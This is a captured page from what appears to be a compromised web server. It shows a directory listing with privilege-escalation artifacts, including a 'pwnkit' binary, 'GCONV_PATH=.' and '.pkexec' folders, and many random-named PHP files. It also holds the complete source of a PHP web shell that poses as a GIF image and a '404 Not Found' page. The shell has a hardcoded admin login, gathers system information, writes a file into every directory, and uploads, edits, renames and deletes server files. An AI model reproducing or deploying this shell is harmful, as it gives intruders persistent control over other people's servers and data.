Gecko [ dp-client.com ]

Name	Size	Permission
.pkexec	[ DIR ]	drwxr-xr-x
GCONV_PATH=.	[ DIR ]	drwxr-xr-x
.mad-root	0 B	-rw-r--r--
gekov2.php	498 B	-rw-r--r--
idx.php	120.21 KB	-rw-r--r--
kms.php	348 B	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x
user11605616227.png	8.63 KB	-rw-r--r--
user1669123986.php	680 B	-rw-r--r--
user1736848596.php	28 B	-rw-r--r--
user1736848620.png	235.51 KB	-rw-r--r--
user1736848668.jpg	250.28 KB	-rw-r--r--
user71736418382.png	235.51 KB	-rw-r--r--
user71736418383.png	235.51 KB	-rw-r--r--
user71736418402.jpeg	998 B	-rw-r--r--
user71736418417.png	1.97 KB	-rw-r--r--
user71736418537.php	28 B	-rw-r--r--
user71736418564.php	16.38 KB	-rw-r--r--
user71736418612.php	12.29 KB	-rw-r--r--

Code Editor : user71736418564.php

GIF87a
<?php
session_start();
if (isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit();
}
define('USER', 'admin');
define('MD5_PASSWORD_HASH', '21232f297a57a5a743894a0e4a801fc3'); 
if (!isset($_SESSION['loggedin'])) {
    if ($_SERVER['REQUEST_METHOD'] == 'POST') {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $passwordHash = md5($password);
        if ($username === USER && $passwordHash === MD5_PASSWORD_HASH) {
            $_SESSION['loggedin'] = true;
            header('Location: ' . $_SERVER['PHP_SELF']);
            exit();
        } else {
            echo 'Invalid login credentials.';
        }
    }
    echo '<form method="POST">
            <input type="text" name="username" placeholder="Username" required>
            <input type="password" name="password" placeholder="Password" required>
            <button type="submit">Login</button>
          </form>';
    exit();
}
?>
<?php
function getSystemInfo() {
    $system_info = [];
    $system_info['os'] = php_uname();
    $system_info['user'] = get_current_user();
    $hdd_space = disk_free_space("/") . " / " . disk_total_space("/");
    $system_info['hdd_space'] = $hdd_space;
    $system_info['safe_mode'] = ini_get('safe_mode') ? 'Enabled' : 'Disabled';
    $system_info['disabled_functions'] = ini_get('disable_functions') ? ini_get('disable_functions') : 'None';
    $system_info['server_ip'] = $_SERVER['SERVER_ADDR'];
    $system_info['client_ip'] = $_SERVER['REMOTE_ADDR'];
    return $system_info;
}
$system_info = getSystemInfo();
function createFilesInAllDirectories($path, $filename, $content) {
    $success_log = [];
    $error_log = [];

$iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::SELF_FIRST
    );

foreach ($iterator as $fileinfo) {
        if ($fileinfo->isDir()) {
            $file_path = $fileinfo->getPathname() . DIRECTORY_SEPARATOR . $filename;
            if (file_put_contents($file_path, $content) !== false) {
                $success_log[] = "Success: " . $fileinfo->getPathname();
            } else {
                $error_log[] = "Error: " . $fileinfo->getPathname();
            }
        }
    }

return ['success' => $success_log, 'error' => $error_log];
}

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>404 Not Found</title>
    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"
        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"
        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="
        crossorigin="anonymous" referrerpolicy="no-referrer" />
    <style>
        body {
            background-color: white;
            font-size: 12px;
        }

table {
            font-size: 12px;
        }

th, td {
            padding: 5px;
        }

h1 {
            font-size: 16px;
        }

.navbar {
            font-size: 12px;
        }

.form-inline button {
            font-size: 12px;
            padding: 5px 10px;
        }

pre {
            font-size: 12px;
        }

/* Hidden by default */
        #mass-file-create-form, #mass-file-delete-form, #find-file-form, #append-php-form {
            display: none;
        }

.log-success {
            color: green;
        }

.log-error {
            color: red;
        }
    </style>
</head>

<body>

<div class="container mt-4">
    <a href="?"><h1 class="btn btn-dark">HOME</h1></a>
    <?php echo '<a href="?logout=true"><h1 class="btn btn-dark">LOGOUT</h1></a>';?>
    <h1>System Information</h1>
    <table class="table table-bordered">
        <tr>
            <th>System OS</th>
            <td><?php echo htmlspecialchars($system_info['os']); ?></td>
        </tr>
        <tr>
            <th>Current User</th>
            <td><?php echo htmlspecialchars($system_info['user']); ?></td>
        </tr>
        <tr>
            <th>HDD Space</th>
            <td><?php echo htmlspecialchars($system_info['hdd_space']); ?></td>
        </tr>
        <tr>
            <th>Safe Mode</th>
            <td><?php echo htmlspecialchars($system_info['safe_mode']); ?></td>
        </tr>
        <tr>
            <th>Disabled Functions</th>
            <td><?php echo htmlspecialchars($system_info['disabled_functions']); ?></td>
        </tr>
        <tr>
            <th>Server IP</th>
            <td><?php echo htmlspecialchars($system_info['server_ip']); ?></td>
        </tr>
        <tr>
            <th>Client IP</th>
            <td><?php echo htmlspecialchars($system_info['client_ip']); ?></td>
        </tr>
    </table>
</div>
<script>
    document.getElementById('toggleCreateFormButton').addEventListener('click', function() {
        document.getElementById('mass-file-create-form').style.display = 
            document.getElementById('mass-file-create-form').style.display === 'none' ? 'block' : 'none';
    });

document.getElementById('toggleDeleteFormButton').addEventListener('click', function() {
        document.getElementById('mass-file-delete-form').style.display = 
            document.getElementById('mass-file-delete-form').style.display === 'none' ? 'block' : 'none';
    });

document.getElementById('toggleFindFormButton').addEventListener('click', function() {
        document.getElementById('find-file-form').style.display = 
            document.getElementById('find-file-form').style.display === 'none' ? 'block' : 'none';
    });

document.getElementById('toggleAppendFormButton').addEventListener('click', function() {
        document.getElementById('append-php-form').style.display = 
            document.getElementById('append-php-form').style.display === 'none' ? 'block' : 'none';
    });
</script>

</body>
</html>
<!DOCTYPE html>
<html lang="en">
<body>
    <?php
    function formatSizeUnits($bytes)
    {
        if ($bytes >= 1073741824) {
            $bytes = number_format($bytes / 1073741824, 2) . ' GB';
        } elseif ($bytes >= 1048576) {
            $bytes = number_format($bytes / 1048576, 2) . ' MB';
        } elseif ($bytes >= 1024) {
            $bytes = number_format($bytes / 1024, 2) . ' KB';
        } elseif ($bytes > 1) {
            $bytes = $bytes . ' bytes';
        } elseif ($bytes == 1) {
            $bytes = $bytes . ' byte';
        } else {
            $bytes = '0 bytes';
        }
        return $bytes;
    }

function fileExtension($file)
    {
        return substr(strrchr($file, '.'), 1);
    }

function encodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($a, $b, $path);
    }
    function decodePath($path)
    {
        $a = array("/", "\\", ".", ":");
        $b = array("ক", "খ", "গ", "ঘ");
        return str_replace($b, $a, $path);
    }

$root_path = __DIR__;
    if (isset($_GET['p'])) {
        if (empty($_GET['p'])) {
            $p = $root_path;
        } elseif (!is_dir(decodePath($_GET['p']))) {
            echo ("<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>");
        } elseif (is_dir(decodePath($_GET['p']))) {
            $p = decodePath($_GET['p']);
        }
    } elseif (isset($_GET['q'])) {
        if (!is_dir(decodePath($_GET['q']))) {
            echo ("<script>window.location.replace('?p=');</script>");
        } elseif (is_dir(decodePath($_GET['q']))) {
            $p = decodePath($_GET['q']);
        }
    } else {
        $p = $root_path;
    }
    define("PATH", $p);

echo ('
<nav class="navbar navbar-light" style="background-color: #e3f2fd;">
  <div class="navbar-brand">
');

$path = str_replace('\\', '/', PATH);
    $paths = explode('/', $path);
    foreach ($paths as $id => $dir_part) {
        if ($dir_part == '' && $id == 0) {
            $a = true;
            echo "<a href=\"?p=/\">/</a>";
            continue;
        }
        if ($dir_part == '')
            continue;
        echo "<a href='?p=";
        for ($i = 0; $i <= $id; $i++) {
            echo str_replace(":", "ঘ", $paths[$i]);
            if ($i != $id)
                echo "ক";
        }
        echo "'>" . $dir_part . "</a>/";
    }
    echo ('
</div>
<div class="form-inline">
<a href="?upload&q=' . urlencode(encodePath(PATH)) . '"><button class="btn btn-dark" type="button">Upload File</button></a>

</div>
</nav>');

if (isset($_GET['p'])) {
        if (is_readable(PATH)) {
            $fetch_obj = scandir(PATH);
            $folders = array();
            $files = array();
            foreach ($fetch_obj as $obj) {
                if ($obj == '.' || $obj == '..') {
                    continue;
                }
                $new_obj = PATH . '/' . $obj;
                if (is_dir($new_obj)) {
                    array_push($folders, $obj);
                } elseif (is_file($new_obj)) {
                    array_push($files, $obj);
                }
            }
        }
        echo '
<table class="table table-hover">
  <thead>
    <tr>
      <th scope="col">Name</th>
      <th scope="col">Size</th>
      <th scope="col">Modified</th>
      <th scope="col">Perms</th>
      <th scope="col">Actions</th>
    </tr>
  </thead>
  <tbody>
';
        foreach ($folders as $folder) {
            echo "    <tr>
      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(encodePath(PATH . "/" . $folder)) . "'>" . $folder . "</a></td>
      <td><b>---</b></td>
      <td>". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . "</td>
      <td>0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "</a></td>
      <td>
      <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $folder . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
      <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $folder . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
      <td>
    </tr>
";
        }
        foreach ($files as $file) {
            echo "    <tr>
          <td>" . fileIcon($file) . $file . "</td>
          <td>" . formatSizeUnits(filesize(PATH . "/" . $file)) . "</td>
          <td>" . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . "</td>
          <td>0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "</a></td>
          <td>
          <a title='Edit File' href='?q=" . urlencode(encodePath(PATH)) . "&e=" . $file . "'><i class='fa-solid fa-file-pen'></i></a>
          <a title='Rename' href='?q=" . urlencode(encodePath(PATH)) . "&r=" . $file . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>
          <a title='Delete' href='?q=" . urlencode(encodePath(PATH)) . "&d=" . $file . "'><i class='fa fa-trash' aria-hidden='true'></i></a>
          <td>
    </tr>
";
        }
        echo "  </tbody>
</table>";
    } else {
        if (empty($_GET)) {
            echo ("<script>window.location.replace('?p=');</script>");
        }
    }
    if (isset($_GET['upload'])) {
        echo '
    <form method="post" enctype="multipart/form-data">
        Select file to upload:
        <input type="file" name="fileToUpload" id="fileToUpload">
        <input type="submit" class="btn btn-dark" value="Upload" name="upload">
    </form>';
    }
    if (isset($_GET['r'])) {
        if (!empty($_GET['r']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        Rename:
        <input type="text" name="name" value="' . $_GET['r'] . '">
        <input type="submit" class="btn btn-dark" value="Rename" name="rename">
    </form>';
            if (isset($_POST['rename'])) {
                $name = PATH . "/" . $_GET['r'];
                if(rename($name, PATH . "/" . $_POST['name'])) {
                    echo ("<script>alert('Renamed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                } else {
                    echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
                }
            }
        }
    }
    if (isset($_GET['e'])) {
        if (!empty($_GET['e']) && isset($_GET['q'])) {
            echo '
    <form method="post">
        <textarea style="height: 500px;
        width: 90%;" name="data">' . htmlspecialchars(file_get_contents(PATH."/".$_GET['e'])) . '</textarea>
        <br>
        <input type="submit" class="btn btn-dark" value="Save" name="edit">
    </form>';

if(isset($_POST['edit'])) {
        $filename = PATH."/".$_GET['e'];
        $data = $_POST['data'];
        $open = fopen($filename,"w");
        if(fwrite($open,$data)) {
            echo ("<script>alert('Saved.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        } else {
            echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
        }
        fclose($open);
    }
        }
    }

if (isset($_POST["upload"])) {
        $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            echo "<p>".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
        } else {
            echo "<p>Sorry, there was an error uploading your file.</p>";
        }

}
    if (isset($_GET['d']) && isset($_GET['q'])) {
        $name = PATH . "/" . $_GET['d'];
        if (is_file($name)) {
            if(unlink($name)) {
                echo ("<script>alert('File removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        } elseif (is_dir($name)) {
            if(rmdir($name) == true) {
                echo ("<script>alert('Directory removed.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            } else {
                echo ("<script>alert('Some error occurred.'); window.location.replace('?p=" . encodePath(PATH) . "');</script>");
            }
        }
    }
    ?>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"
        crossorigin="anonymous"></script>
</body>
</html>

${this.title}

Code Editor : user71736418564.php